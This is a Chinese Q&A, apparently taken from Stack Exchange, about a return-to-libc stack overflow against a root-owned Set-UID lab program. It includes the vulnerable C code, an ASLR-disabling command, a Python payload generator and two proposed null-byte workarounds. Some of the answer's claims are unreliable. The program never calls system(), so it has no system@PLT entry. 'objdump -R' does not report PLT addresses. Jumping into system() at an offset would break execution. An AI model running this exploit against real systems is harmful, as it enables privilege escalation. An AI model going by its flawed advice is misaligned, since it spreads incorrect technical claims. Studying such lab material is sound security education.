strcpy栈溢出中system()地址含空字节的return-to-libc绕过方案问询
问题描述
在使用return-to-libc技术绕过不可执行栈防护时,libc中system()函数的地址(如0xf7c47000)末尾带有空终止字节,导致strcpy()复制到该地址的第一个空字节时停止,后续的exit()地址和/bin/sh字符串地址无法写入栈中,最终触发段错误。已验证将返回地址替换为exit()地址时方法可正常工作,确认问题根源为system()地址的空字节。
环境与程序信息
- 系统:64位Kali(基于Debian),ASLR已关闭(执行
echo 0 > /proc/sys/kernel/randomize_va_space) - 目标程序:root所有的32位Set-UID程序
stack,编译命令:gcc -fno-stack-protector -z noexecstack -m32 -o stack stack.c - 目标程序代码(stack.c):
#include <stdlib.h> #include <stdio.h> #include <string.h> int foo(char *str) { char buffer[100]; // The following statement has a buffer overflow problem strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[400]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 300, badfile); foo(str); printf("Returned Properly\n"); return 1; } - 漏洞利用脚本(libc_exploit.py):
#!/usr/bin/python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) sh_addr = 0xffffdfe8 # The address of "/bin/sh" content[120:124] = (sh_addr).to_bytes(4, byteorder='little') exit_addr = 0xf7c396a0 # The address of exit() content[116:120] = (exit_addr).to_bytes(4, byteorder='little') system_addr = 0xf7c47000 # The address of system() ----- THE NULL BYTE IS HERE! ----- content[112:116] = (system_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content)
绕过方案
方案1:使用system@PLT地址替代libc中的system地址
PLT(过程链接表)中的system入口地址位于程序的.text段,通常不包含空字节,能被strcpy()完整复制。
执行以下命令获取
system@PLT的地址:objdump -R stack | grep system示例输出:
08048420 R_386_JUMP_SLOT system这里的
0x08048420就是system@PLT的地址。修改漏洞脚本中的
system_addr为该地址:system_addr = 0x08048420 # 替换为实际获取的system@PLT地址重新生成
badfile并运行目标程序,此时strcpy()会完整复制所有内容,栈布局正确后即可触发system("/bin/sh")。
方案2:寻找libc中system()函数的偏移入口
如果必须使用libc中的system()地址,可以选择该函数内部的非起始地址,确保地址不含空字节且能正确进入system的执行逻辑:
启动gdb调试libc:
gdb -q /lib/i386-linux-gnu/libc.so.6反汇编
system函数:disas system在反汇编结果中,选择一个起始地址偏移后的有效指令地址(如
0xf7c47001、0xf7c47002等),确保该地址不包含空字节,且对应指令合法。将脚本中的
system_addr替换为该偏移地址,重新生成badfile测试。
验证说明
替换地址后,可通过gdb调试目标程序,在foo函数的strcpy处下断点,查看栈中是否正确写入了system地址、exit地址和/bin/sh地址,确认strcpy()已完整复制payload内容。
内容的提问来源于stack exchange,提问作者MatGeneral

